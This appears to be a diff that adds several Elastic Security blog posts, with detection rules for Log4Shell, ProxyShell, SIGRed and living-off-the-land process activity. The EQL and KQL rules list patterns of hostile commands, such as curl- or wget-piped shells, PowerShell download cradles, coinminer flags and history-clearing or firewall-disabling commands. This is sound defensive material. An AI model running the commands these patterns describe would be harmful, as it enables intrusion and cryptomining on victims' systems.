If you already have an ingest pipeline associated with your indices, you can use a [pipeline processor](https://www.elastic.co/guide/en/elasticsearch/reference/current/pipeline-processor.html) to integrate the ProblemChild ingest pipeline into your existing pipeline.
|
||||
|
||||
You will also want to add the following mappings to the Elastic beat you chose:
|
||||
|
||||
```
|
||||
{
|
||||
"properties": {
|
||||
"problemchild": {
|
||||
"properties": {
|
||||
"prediction": {
|
||||
"type": "long"
|
||||
},
|
||||
"prediction_probability": {
|
||||
"type": "float"
|
||||
}
|
||||
}
|
||||
},
|
||||
"blocklist_label": {
|
||||
"type": "long"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
You can do this under **Stack Management > Index Management > Component Templates.** Templates that can be edited to add custom components will be marked with a _@custom_ suffix. Edit the _@custom_ component template for your Elastic beat by pasting the above JSON blob in the **Load JSON** flyout.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
You should now see that the model enriches incoming Windows process events with the following fields:
|
||||
|
||||
**problemchild.prediction**
|
||||
|
||||
- A value of 1 indicates that the event is predicted to be malicious and a value of “0” indicates that the event is predicted to be benign.
|
||||
|
||||
**prediction_probability**
|
||||
|
||||
- A value between 0 and 1 indicating the confidence of the model in its prediction. The higher the value, the higher the confidence.
|
||||
|
||||
**blocklist_label**
|
||||
|
||||
- A value of 1 indicates that the event is malicious because one or more terms in the command line arguments matched a blocklist.
|
||||
|
||||
If you want an immediate way to test that the ingest pipeline is working as expected with your data, you can use a few sample documents with the [simulate pipeline API](https://www.elastic.co/guide/en/elasticsearch/reference/current/simulate-pipeline-api.html) and confirm you see the **problemchild** fields.
|
||||
|
||||
### Step 3: Running anomaly detection
|
||||
|
||||
The package includes several preconfigured anomaly detection jobs. These jobs enable you to find the rarest events among those detected as malicious by the supervised model in order to decide which events require immediate attention from your analysts.
|
||||
|
||||
To run these jobs on your enriched data, go to **Machine Learning > Anomaly Detection**. When you create a job using the job wizard, you should see an option to Use preconfigured jobs with a card for LotL Attacks. After selecting the card, you will see several preconfigured anomaly detection jobs that can be run. Note these jobs are only useful for indices that have been enriched by the ingest pipeline.
|
||||
|
||||
### Step 4: Enabling the rules
|
||||
|
||||
To maximize the benefit of the ProblemChild framework, activate the installed detection rules. They are triggered when certain conditions for the supervised model or anomaly detection jobs are satisfied. The complete list of the installed rules can be found in the **Overview** page of the package itself or in the latest experimental detections [release](https://github.com/elastic/detection-rules/releases/tag/ML-experimental-detections-20211130-7).
|
||||
|
||||
In order to enable and use the installed rules, you can navigate to **Security > Rules** and select `_Load Elastic prebuild rules and timeline templates`\_.
|
||||
|
||||

|
||||
|
||||
Note that there are search rules as well as ML job rules. The search rules are triggered by the supervised model, for example this rule:
|
||||
|
||||

|
||||
|
||||
The above rule matches on any Windows process event for which the supervised model or its blocklist has a prediction value of 1 (malicious).
|
||||
|
||||
The ML job rules are triggered by anomalies found by the anomaly detection jobs that you set up in Step 3 — for example, this rule:
|
||||
|
||||

|
||||
|
||||
The above rule is triggered each time the anomaly detection job problem_child_rare_process_by_host detects an anomaly with an anomaly score greater than or equal to 75.
|
||||
|
||||
# Summary
|
||||
|
||||
As mentioned in the first blog post, the supervised ML component of ProblemChild is trained to predict a value of 1 (malicious) on processes or command line arguments that can be used for LotL attacks. This does not mean that everything that the supervised model predicts with a value 1 indicates LotL activity. The prediction value of 1 should be interpreted more as “this could be potentially malicious,” instead of “this is definitely LotL activity.”
|
||||
|
||||
The real beauty of ProblemChild is in the anomaly detection, wherein it surfaces rare parent-child process relationships from among the events the supervised model marked as suspicious. This not only helps in reducing the number of false positives, but also helps security analysts focus on a smaller, more targeted list for triage.
|
||||
|
||||
You could of course start with the search rules, which will alert directly on the results of the supervised model. If the number of alerts from these rules is manageable and you have the time and resources to drill into these alerts, you might not need to enable the anomaly detection jobs. However, if you then notice that these rules are producing too many alerts (which is usually the case in most large organizations), you may benefit from enabling the anomaly detection jobs and their corresponding rules.
|
||||
|
||||
# Get in touch with us
|
||||
|
||||
We’d love for you to try out ProblemChild and give us feedback as we work on adding new capabilities to it. If you run into any issues during the process, please reach out to us on our [community Slack channel](https://ela.st/slack), [discussion forums](https://discuss.elastic.co/c/security) or even our [open detections repository](https://github.com/elastic/detection-rules).
|
||||
|
||||
You can always experience the latest version of [Elasticsearch Service](https://www.elastic.co/elasticsearch/service) on Elastic Cloud and follow along with this blog to set up the ProblemChild framework in your environment for your Windows process event data. And take advantage of our [Quick Start training](https://www.elastic.co/training/elastic-security-quick-start) to set yourself up for success. Happy experimenting!
|
|
@ -0,0 +1,310 @@
|
|||
---
|
||||
title: "Detecting Exploitation of CVE-2021-44228 (Log4j2) with Elastic Security"
|
||||
slug: "detecting-log4j2-with-elastic-security"
|
||||
date: "2022-11-22"
|
||||
description: "This blog post provides a summary of CVE-2021-44228 and provides Elastic Security users with detections to find active exploitation of the vulnerability in their environment. Further updates will be provided to this post as we learn more."
|
||||
author:
|
||||
- slug: jake-king
|
||||
- slug: samir-bousseaden
|
||||
image: "blog-security-detection-720x420.png"
|
||||
category:
|
||||
- slug: security-research
|
||||
- slug: vulnerability-updates
|
||||
---
|
||||
|
||||
> - _To understand how Elastic is currently assessing internal risk of this vulnerability in our products please see the advisory_[_here._](https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476)
|
||||
> - _This blog has been updated (Dec. 17, 2021) with further detection and hunting improvements since its initial publish._
|
||||
|
||||
## Overview
|
||||
|
||||
This blog post provides a summary of CVE-2021-44228 and provides Elastic Security users with detections to find active exploitation of the vulnerability in their environment.
|
||||
|
||||
Further updates will be provided to this post as we learn more. This version is accurate as of Tuesday, December 14, 2021. Updates from Apache may be investigated directly via the [security page](https://logging.apache.org/log4j/2.x/security.html#) for Log4j2.
|
||||
|
||||
## Summary of CVE-2021-44228 (Log4Shell)
|
||||
|
||||
Log4j2 is an open source logging framework incorporated into many Java based applications on both end-user systems and servers. In [late November 2021](https://logging.apache.org/log4j/2.x/security.html#), Chen Zhaojun of Alibaba identified a remote code execution vulnerability, ultimately being reported under the CVE ID : [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228), released to the public on December 10, 2021. The vulnerability is exploited through improper deserialization of user-input passed into the framework. It permits remote code execution and it can allow an attacker to leak sensitive data, such as environment variables, or execute malicious software on the target system.
|
||||
|
||||
The identified vulnerability impacts all versions of Log4j2 from version 2.0-beta9 to version 2.14.1. Early methods to patch the issue resulted in a number of release candidates, culminating in recommendations to upgrade the framework to Log4j2 2.15.0-rc2 at the time of this post.
|
||||
|
||||
Given the trivial complexity and the nature of observed widespread exploitation, mitigation should be considered critical in any environment that has identified software leveraging vulnerable versions of Log4j2.
|
||||
|
||||
## Detecting Exploitation of Log4Shell in Elastic Security
|
||||
|
||||
Elastic Security users can use the following Event Correlation detection rule to identify active exploitation of the Log4j2 vulnerability. Depending on the format of the host based event data you may need to modify this detection to match your data fields.
|
||||
|
||||
**Detection Rule when using Endpoint data**
|
||||
|
||||
```
|
||||
sequence by host.id with maxspan=1m
|
||||
[network where event.action == "connection_attempted" and
|
||||
process.name : "java" and
|
||||
/*
|
||||
outbound connection attempt to
|
||||
LDAP, RMI or DNS standard ports
|
||||
by JAVA process
|
||||
*/
|
||||
destination.port in (1389, 389, 1099, 53, 5353)] by process.pid
|
||||
[process where event.type == "start" and
|
||||
|
||||
/* Suspicious JAVA child process */
|
||||
process.parent.name : "java" and
|
||||
process.name : ("sh",
|
||||
"bash",
|
||||
"dash",
|
||||
"ksh",
|
||||
"tcsh",
|
||||
"zsh",
|
||||
"curl",
|
||||
"perl*",
|
||||
"python*",
|
||||
"ruby*",
|
||||
"php*",
|
||||
"wget")] by process.parent.pid
|
||||
```
|
||||
|
||||
**Detection Rule when using Auditbeat data**
|
||||
|
||||
```
|
||||
sequence by agent.id with maxspan=1m
|
||||
[network where event.action == "connected-to" and
|
||||
process.name : "java" and
|
||||
/*
|
||||
outbound connection attempt to
|
||||
LDAP, RMI or DNS standard ports
|
||||
by JAVA process
|
||||
*/
|
||||
destination.port in (1389, 389, 1099, 53, 5353)] by process.pid
|
||||
[process where event.type == "start" and
|
||||
|
||||
/* Suspicious JAVA child process */
|
||||
process.parent.name : "java" and
|
||||
process.name : ("sh",
|
||||
"bash",
|
||||
"dash",
|
||||
"ksh",
|
||||
"tcsh",
|
||||
"zsh",
|
||||
"curl",
|
||||
"perl*",
|
||||
"python*",
|
||||
"ruby*",
|
||||
"php*",
|
||||
"wget")] by process.parent.pid
|
||||
```
|
||||
|
||||
**Detection rule when using Endgame streamed events**
|
||||
|
||||
```
|
||||
sequence by agent.id with maxspan=1m
|
||||
[network where event.category == "network" and
|
||||
process.name : "java" and
|
||||
/*
|
||||
outbound connection attempt to
|
||||
LDAP, RMI or DNS standard ports
|
||||
by JAVA process
|
||||
*/
|
||||
destination.port in (1389, 389, 1099, 53, 5353)] by process.pid
|
||||
[process where event.type == "start" and
|
||||
|
||||
/* Suspicious JAVA child process */
|
||||
process.parent.name : "java" and
|
||||
process.name : ("sh",
|
||||
"bash",
|
||||
"dash",
|
||||
"ksh",
|
||||
"tcsh",
|
||||
"zsh",
|
||||
"curl",
|
||||
"perl*",
|
||||
"python*",
|
||||
"ruby*",
|
||||
"php*",
|
||||
"wget")] by process.parent.pid
|
||||
```
|
||||
|
||||
This detection rule looks for a sequence of an outbound connection attempt to standard ports for LDAP, RMI and DNS (often abused via recently observed [JAVA/JNDI](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf) injection attacks) followed by a child process of the same Java process instance.
|
||||
|
||||
Now, let’s demonstrate how this rule detects exploitation of the log42j vulnerability:
|
||||
|
||||

|
||||
|
||||
The screenshot above shows an attacker exploiting the vulnerability with a base-64 encoded payload targeting an [example vulnerable application](https://github.com/christophetd/log4shell-vulnerable-app) created by [Christophe Tafani-Dereeper](https://github.com/christophetd).
|
||||
|
||||

|
||||
|
||||
This screenshot shows the detection of the active exploitation of CVE-2021-44228 within Elastic Security detailing both the alert and timeline view of the exploit.
|
||||
|
||||

|
||||
|
||||
The screenshot above shows in the investigation of the detection alert that Java executed a shell script to download and run a bash script.
|
||||
|
||||
## Update: Detection & hunting improvements
|
||||
|
||||
**Suspicious Shell Commands Execution via Java**
|
||||
|
||||
Based on observed publicly known malicious Java classes served via log4j exploit, you can hunt for suspicious shell scripts and ingress tool transfer commands:
|
||||
|
||||
```
|
||||
process where event.type == "start" and
|
||||
process.parent.name : "java*" and
|
||||
|
||||
/* Ingress tools transfer via common shell command interpreters */
|
||||
|
||||
/* linux or macos */
|
||||
(
|
||||
(process.name : ("sh", "bash", "python*") and
|
||||
process.command_line : ("*curl*|*sh*", "*wget*|*bash", "*curl*|*bash*", "*curl*|*bash*", "*http*|*sh*", "*python*http*")) or
|
||||
|
||||
/* windows */
|
||||
(process.name : ("powershell.exe", "pwsh.exe", "cmd.exe") and
|
||||
process.command_line : ("*.downloadstring*", "*.downloadfile*", "*.downloaddata*", "*BitsTransfer*", "* -enc*", "* IEX*", "*wp-content*", "*wp-admin*", "*wp-includes*", "*$*$*$*$*$*", "*^*^*^*^*^*^*^*^*^*", "*.replace*", "*start-process*", "*http*", "*cmd*powershell*")))
|
||||
```
|
||||
|
||||
**Untrusted File Execution via JAVA**
|
||||
|
||||
Identifies when a JAVA interpreter creates an executable file (PE/ELF) and the file is subsequently executed.
|
||||
|
||||
**Detection Rule when using Endpoint data**
|
||||
|
||||
```
|
||||
sequence by host.id with maxspan=5m
|
||||
[ file where event.type != "deletion" and
|
||||
process.name : ("java", "java.exe", "javaw.exe") and
|
||||
|
||||
(file.extension : ("exe", "com", "pif", "scr") or
|
||||
/* Match Windows PE files by header data (MZ) */
|
||||
file.Ext.header_bytes : ("4d5a*", "7f454c46*")) and
|
||||
|
||||
not file.path : ("?:\\Program Files\\*",
|
||||
"?:\\Program Files (x86)\\*") ] by file.path
|
||||
[ process where event.type == "start" and
|
||||
not process.code_signature.trusted == true ] by process.executable
|
||||
```
|
||||
|
||||
**Detection rule when using Endgame streamed events**
|
||||
|
||||
```
|
||||
sequence by agent.id with maxspan=5m
|
||||
[ file where event.type != "deletion"
|
||||
process.name : ("java", "java.exe", "javaw.exe")] by file_path
|
||||
[ process where event.type == "start" and
|
||||
not process.code_signature.trusted == true] by process_path
|
||||
```
|
||||
|
||||
**Potential CoinMiner activity**
|
||||
|
||||
Process with command line common to cryptocurrency miner (most observed campaigns leveraging log4j exploit are coinminers):
|
||||
|
||||
```
|
||||
process where event.type == "start" and
|
||||
process.command_line :
|
||||
("* pool.*", "*-u*--coin*", "*.xmr.*", "*.xmr1.*",
|
||||
"*stratum*", "*elitter.net*", "*cryptonight*",
|
||||
"*-a scrypt*", "*stratum1*", "*-userpass*", "*-max-cpu-usage*",
|
||||
"*qhor.net*", "*-wallet*pool*", "*--donate-level*", "*supportxmr.com*")
|
||||
```
|
||||
|
||||
Other relevant post exploitation detections :
|
||||
|
||||
[Attempt to Disable IPTables or Firewall](https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_attempt_to_disable_iptables_or_firewall.toml)
|
||||
|
||||
[Tampering of Bash Command-Line History](https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_deletion_of_bash_command_line_history.toml)
|
||||
|
||||
[System Log File Deletion](https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_log_files_deleted.toml)
|
||||
|
||||
[Potential Reverse Shell Activity via Terminal](https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/execution_revershell_via_shell_cmd.toml)
|
||||
|
||||
[Suspicious JAVA Child Process](https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/execution_suspicious_jar_child_process.toml)
|
||||
|
||||
[Attempt to Disable Syslog Service](https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_attempt_to_disable_syslog_service.toml)
|
||||
|
||||
## Elastic Endgame EQL Queries
|
||||
|
||||
**Suspicious Java Netcon followed by Unusual Child Process**
|
||||
|
||||
```
|
||||
sequence with maxspan=5s
|
||||
[network where process_name == "java*" and destination_port in (1389, 389, 1099, 53, 5353) and
|
||||
destination_address != "127.0.0.1" and not destination_address == "::1"] by pid
|
||||
[process where opcode in (1,5) and
|
||||
/* Suspicious JAVA child process */
|
||||
parent_process_name == "java*" and
|
||||
process_name in ("sh", "bash", "dash", "ksh", "tcsh", "zsh", "curl", "perl*", "python*", "ruby*", "php*", "wget", "powershell.exe", "cmd.exe")] by ppid
|
||||
```
|
||||
|
||||
**Suspicious Shell Commands Execution via Java**
|
||||
|
||||
```
|
||||
process where opcode in (1,5) and
|
||||
parent_process_name == "java*" and
|
||||
/* Ingress tools transfer via common shell command interpreters */
|
||||
|
||||
/* linux or macos */
|
||||
(
|
||||
(process_name in ("sh", "bash", "python") and
|
||||
wildcard(command_line, "*curl*|*sh*", "*wget*|*bash", "*curl*|*bash*", "*curl*|*bash*", "*http*|*sh*", "*python*http*")) or
|
||||
/* windows */
|
||||
(process_name in ("powershell.exe", "pwsh.exe", "cmd.exe") and
|
||||
wildcard(command_line,"*.downloadstring*", "*.downloadfile*", "*.downloaddata*", "*BitsTransfer*", "* -enc*", "* IEX*", "*wp-content*", "*wp-admin*", "*wp-includes*", "*$*$*$*$*$*", "*^*^*^*^*^*^*^*^*^*","*.replace*", "*start-process*", "*http*", "*cmd*powershell*")))
|
||||
```
|
||||
|
||||
**Common Coin Miners as a descendant of JAVA**
|
||||
|
||||
```
|
||||
process where opcode in (1, 3, 4, 5) and
|
||||
descendant of [process where opcode in (1, 3, 4, 5) and process_name == "java*"] and
|
||||
wildcard(command_line, "* pool.*", "*-u*--coin*", "*.xmr.*", "*.xmr1.*", "*stratum*", "*elitter.net*", "*cryptonight*", "*-a scrypt*", "*stratum1*",
|
||||
"*-userpass*", "*-max-cpu-usage*", "*qhor.net*", "*-wallet*pool*", "*--donate-level*", "*supportxmr.com*",
|
||||
/* evasion commands */
|
||||
"*base64*", "*history -c*", "*ld.so.preload*", "*nmi_watchdog*", "*ufw*disable*", "*.bash_history*", "*chmod*+x*",
|
||||
"*tor2web*", "*kill*-9*", "*python*-c*http*")
|
||||
```
|
||||
|
||||
**Untrusted File Execution via JAVA**
|
||||
|
||||
```
|
||||
sequence with maxspan=2m
|
||||
[ file where opcode != 2 and file_name == "*.exe" and process_name == "java*"] by file_path
|
||||
[ process where opcode in (1,5)] by process_path
|
||||
```
|
||||
|
||||
## Community Detections
|
||||
|
||||
A number of community members discussing widespread exploitation of the vulnerability have provided insights into a number of early detection methods that analysts may leverage to identify if systems they are using have been exploited or are under active exploitation:
|
||||
|
||||
- A series of [payloads](https://gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890) have been shared by the [GreyNoise team](https://twitter.com/GreyNoiseIO/status/1469430126819618821), including payloads containing both encoded and decoded variants for analysts looking to explore logs stored within their systems. This has been complemented with a list of initial [tagged IPs](https://twitter.com/GreyNoiseIO/status/1469334738225741832) attempting exploitation of the vulnerability.
|
||||
|
||||
- [Florian Roth of Nextron Systems](https://twitter.com/cyb3rops/status/1469243580929740802?s=21) has provided a [series of checks](https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b) for local exploitation using grep / zgrep, alongside some initial YARA signatures in a Gist listed on his Github account. Florian also shared a method for generating [Thinkst](https://canarytokens.org/generate#) [CanaryTokens](https://twitter.com/cyb3rops/status/1469405846010572816) to test systems you may manage for exploitability.
|
||||
|
||||
- [Rob Fuller (Mubix)](https://twitter.com/mubix) has shared a list of known file hashes for vulnerable versions of the framework, [here](https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes).
|
||||
|
||||
## Additional Mitigation Strategies
|
||||
|
||||
Outside of the recommended guidance from the Apache team regarding the deployment of the latest, patched versions of the Log4j2 framework to update, a number of mitigations have been widely suggested to prevent exploitation:
|
||||
|
||||
- [Fastly](https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j) have suggested checking if your version of Log4j supports executing the JVM with JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true to disable the lookup functionality to the remote server. This should apply to versions 2.10.0 through 2.15.0.
|
||||
|
||||
- To prevent lateral movement from a vulnerable host, or exploitation over the network, limiting connectivity from potentially vulnerable systems to external resources to trusted applications and / or services is recommended.
|
||||
|
||||
## Thank you, from Elastic Security.
|
||||
|
||||
We want to thank all of the security teams across the globe for your tireless work today and through the weekend, especially those of you listed in this post. Openness and collaboration in the security community to safeguard all users is paramount when facing such a serious and pervasive vulnerability. We want you to know we are here with you every step of the way.
|
||||
|
||||
Existing Elastic Security can access these capabilities within the product. If you’re new to Elastic Security, take a look at our [Quick Start guides](https://www.elastic.co/training/free#quick-starts) (bite-sized training videos to get you started quickly) or our [free fundamentals training courses](https://www.elastic.co/training/free#fundamentals). You can always get started with a [free 14-day trial of Elastic Cloud](https://cloud.elastic.co/registration). Or [download](https://www.elastic.co/downloads/) the self-managed version of the Elastic Stack for free.
|
||||
|
||||
## Reference Material
|
||||
|
||||
[https://www.lunasec.io/docs/blog/log4j-zero-day/](https://www.lunasec.io/docs/blog/log4j-zero-day/)
|
||||
|
||||
[https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability](https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability)
|
||||
|
||||
[https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/](https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/)
|
||||
|
||||
[https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/](https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)
|
||||
|
||||
[https://www.greynoise.io/viz/query/?gnql=CVE-2021-44228](https://www.greynoise.io/viz/query/?gnql=CVE-2021-44228)
|
||||
|
||||
[https://logging.apache.org/log4j/2.x/security.html#](https://logging.apache.org/log4j/2.x/security.html#)
|
||||
|
||||
[https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app)
|
|
@ -0,0 +1,18 @@
|
|||
---
|
||||
title: "Detection and response for the actively exploited ProxyShell vulnerabilities"
|
||||
slug: "detection-and-response-for-the-actively-exploited-proxyshell-vulnerabilities"
|
||||
date: "2022-06-02"
|
||||
description: "In the last week, Elastic Security has observed the exploitation of Microsoft Exchange vulnerabilities associated with ProxyShell. Review the post to find newly released details about this activity."
|
||||
author:
|
||||
- slug: daniel-stepanic
|
||||
- slug: andrew-pease
|
||||
image: "blog-thumb-blind-spots.png"
|
||||
category:
|
||||
- slug: security-research
|
||||
---
|
||||
|
||||
On August 21, 2021, the Cybersecurity and Infrastructure Security Agency (CISA) released an urgent [notice](https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell) related to the exploitation of ProxyShell vulnerabilities ([CVE-2021-31207](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207), [CVE-2021-34473](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473), [CVE-2021-34523](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523)). By chaining these vulnerabilities together, threat actors are compromising unpatched Microsoft Exchange servers and gaining footholds into enterprise networks. [Security vendors](https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows) and [researchers](https://twitter.com/KyleHanslovan/status/1428804893423382532?s=20) are also observing these attacks tied to post-exploitation behavior such as deploying ransomware to victim environments.
|
||||
|
||||
Elastic Security identified indicators of compromise (IoCs) indicating similar activity as reported by the industry. The details of this activity can be found in our Discuss forum, highlighting our perspective of what we have observed in our own telemetry.
|
||||
|
||||
Please visit the [Discuss forum](https://discuss.elastic.co/t/detection-and-response-for-proxyshell-activity/282407) for full details on our identified IoCs.
|
|
@ -0,0 +1,118 @@
|
|||
---
|
||||
title: "Detection rules for SIGRed vulnerability"
|
||||
slug: "detection-rules-for-sigred-vulnerability"
|
||||
date: "2022-11-22"
|
||||
description: "The SIGRed vulnerability impacts all systems leveraging the Windows DNS server service (Windows 2003+). To defend your environment, we recommend implementing the detection logic included in this blog post using technology like Elastic Security."
|
||||
author:
|
||||
- slug: seth-goodwin
|
||||
- slug: daniel-stepanic
|
||||
- slug: justin-ibarra
|
||||
- slug: andrew-pease
|
||||
image: "blog-thumb-security-laptop.png"
|
||||
category:
|
||||
- slug: security-research
|
||||
- slug: vulnerability-updates
|
||||
tags:
|
||||
- sigred
|
||||
- cve-2020-1350
|
||||
---
|
||||
|
||||
> To defend your environment from the SIGRed vulnerability, we recommend implementing the detection logic included below into your environment using technology such as [Endpoint security](https://www.elastic.co/endpoint-security/), [Winlogbeat](https://www.elastic.co/beats/winlogbeat), [Packetbeat](https://www.elastic.co/beats/packetbeat), or [network security monitoring (NSM)](https://www.elastic.co/training/network-security-monitoring-engineer) platforms such as Zeek or Suricata.
|
||||
|
||||
## Executive summary
|
||||
|
||||
On July 14, 2020, Microsoft released a [security update](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350) related to a remote code execution (RCE) and denial of service (DoS) vulnerability ([CVE-2020-1350](https://nvd.nist.gov/vuln/detail/CVE-2020-1350)) in Windows DNS Server (2003 - 2019).
|
||||
|
||||
### Summary
|
||||
|
||||
- National Institute of Standards and Technology (NIST) assigned a critical [CVSS score](https://www.first.org/cvss/v3.1/specification-document)of 10 out of 10 based on remote code execution without authentication and potential to self-replicate without user interaction
|
||||
- The vulnerability is estimated to be 17 years old and impacts older operating systems (Windows 2003+), which may no longer be supported
|
||||
- The DNS role, which must be enabled to be impacted, is enabled in most environments, and is required by Active Directory and Kerberos services
|
||||
- The vulnerability was [reported](https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin:-exploiting-a-17-year-old-bug-in-windows-dns-servers/) by Check Point Research and given name “SIGRed”
|
||||
|
||||
### Timeline of events
|
||||
|
||||
- May 19, 2020 - Initial Check Point disclosure sent to Microsoft
|
||||
- June 18, 2020 - CVE-2020-1350 issued to vulnerability
|
||||
- July 14, 2020 - Microsoft released patch
|
||||
- July 16, 2020 - First public DoS proof-of-concept [published](https://github.com/maxpl0it/CVE-2020-1350-DoS)
|
||||
- July 17, 2020 - Elastic releases SIGRed public detection logic
|
||||
|
||||
## Impact
|
||||
|
||||
All systems leveraging the Windows DNS server service are impacted (Windows 2003+). This includes machines such as domain controllers/member servers leveraging Active Directory/Kerberos, as these services rely on the Windows DNS service.
|
||||
|
||||
Of note, this is an impact on the way Windows DNS server improperly handles malformed requests and not an underlying issue with the DNS protocol itself.
|
||||
|
||||
The SIGRed exploit leverages multiple tactics and techniques categorized by the MITRE ATT&CK® framework:
|
||||
|
||||
### Tactics
|
||||
|
||||
- [Lateral Movement](https://attack.mitre.org/tactics/TA0008)
|
||||
- [Execution](https://attack.mitre.org/tactics/TA0002)
|
||||
|
||||
### Techniques
|
||||
|
||||
- [External Remote Services](https://attack.mitre.org/techniques/T1133)
|
||||
- [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210)
|
||||
|
||||
## Detection
|
||||
|
||||
### Detection logic
|
||||
|
||||
On June 30, 2020, The Elastic Security Intelligence & Analytics Team [released](https://www.elastic.co/blog/elastic-security-opens-public-detection-rules-repo) our [Detection Rules Repository](https://github.com/elastic/detection-rules) to the public. Expanding on the rules that were released with that post, we’ve included network and endpoint rules that target CVE-2020-1350 (SIGRed) in the public repository:
|
||||
|
||||
- [Unusual Child Process of dns.exe](https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_unusual_dns_service_children.toml)
|
||||
- [Unusual File Modification by dns.exe](https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_unusual_dns_service_file_writes.toml)
|
||||
- [Abnormally Large DNS Response](https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_dns_server_overflow.toml)
|
||||
|
||||
### Unusual child of dns.exe - Kibana Query Language (KQL)
|
||||
|
||||
The detection logic in Figure 1 (below) identifies suspicious or unexpected child processes spawned from the Windows DNS service (dns.exe). This activity may indicate activity related to remote code execution (RCE) or other forms of exploitation.
|
||||
|
||||
```
|
||||
event.category:process and event.type:start and process.parent.name:dns.exe and not process.name:conhost.exe
|
||||
```
|
||||
|
||||
_Figure 1 - Unusual child process of dns.exe_
|
||||
|
||||
### Unusual file operations of dns.exe (KQL)
|
||||
|
||||
The detection logic in Figure 2 (below) identifies suspicious or unexpected files being modified by the Windows DNS service (dns.exe). This not only indicates potential RCE or exploitation, but may also indicate preparation for post-compromise activities. For example, this service which is running with SYSTEM privileges could be used to silently write a DLL to Windows system folder setting up possible execution through a known DLL side-loading vector.
|
||||
|
||||
```
|
||||
event.category:file and process.name:dns.exe and not file.name:dns.log
|
||||
```
|
||||
|
||||
_Figure 2 - Unusual file modification by dns.exe_
|
||||
|
||||
### Network (Packetbeat and Filebeat with the Zeek or Suricata modules)
|
||||
|
||||
As detailed in the [Check Point SIGRed research](https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin:-exploiting-a-17-year-old-bug-in-windows-dns-servers/), abnormally large DNS responses can cause the heap-based buffer overflow scenario. The logic in Figure 3 (below) identifies large DNS responses using either Packetbeat or Filebeat (with Zeek or Suricata modules enabled).
|
||||
|
||||
```
|
||||
event.category:(network or network_traffic) and destination.port:53 and (event.dataset:zeek.dns or type:dns or event.type:connection) and network.bytes>60000
|
||||
```
|
||||
|
||||
_Figure 3 - Abnormally large DNS response (KQL)_
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## Defensive recommendations
|
||||
|
||||
1. Review and [implement](https://www.elastic.co/guide/en/siem/guide/7.8/rules-ui-create.html#create-rule-ui) the above detection logic within your environment using technology such as [Endpoint security](https://www.elastic.co/endpoint-security/), [Winlogbeat](https://www.elastic.co/beats/winlogbeat), [Packetbeat](https://www.elastic.co/beats/packetbeat), or [network security monitoring (NSM)](https://www.elastic.co/training/network-security-monitoring-engineer) platforms such as Zeek or Suricata.
|
||||
2. Use the included network rule to identify large DNS queries and responses from internal and external populations.
|
||||
3. Ensure that you have deployed the latest Microsoft [Security Update](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350) (Monthly Rollup or Security Only) and restart the patched machines. If unable to patch immediately: Microsoft [released](https://support.microsoft.com/en-us/help/4569509/windows-dns-server-remote-code-execution-vulnerability) a registry-based workaround that doesn’t require a restart. This can be used as a temporary solution before the patch is applied.
|
||||
4. Maintain backups of your critical systems to aid in quick recovery.
|
||||
5. Perform routine vulnerability scans of your systems and patch identified vulnerabilities.
|
||||
|
||||
## References
|
||||
|
||||
1. [CVE-2020-1350 | Windows DNS Server Remote Code Execution Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350)
|
||||
2. [CVE-2020-1350](https://nvd.nist.gov/vuln/detail/CVE-2020-1350)
|
||||
3. [SIGRed – Resolving Your Way into Domain Admin: Exploiting a 17 Year-old Bug in Windows DNS Servers](https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin:-exploiting-a-17-year-old-bug-in-windows-dns-servers/)
|
||||
4. [Elastic Security opens public detection rules repo](https://www.elastic.co/blog/elastic-security-opens-public-detection-rules-repo)
|
||||
5. [Maxpl0it - CVE-2020-1350 (SIGRed) - Windows DNS DoS Exploit](https://github.com/maxpl0it/CVE-2020-1350-DoS)
|
||||
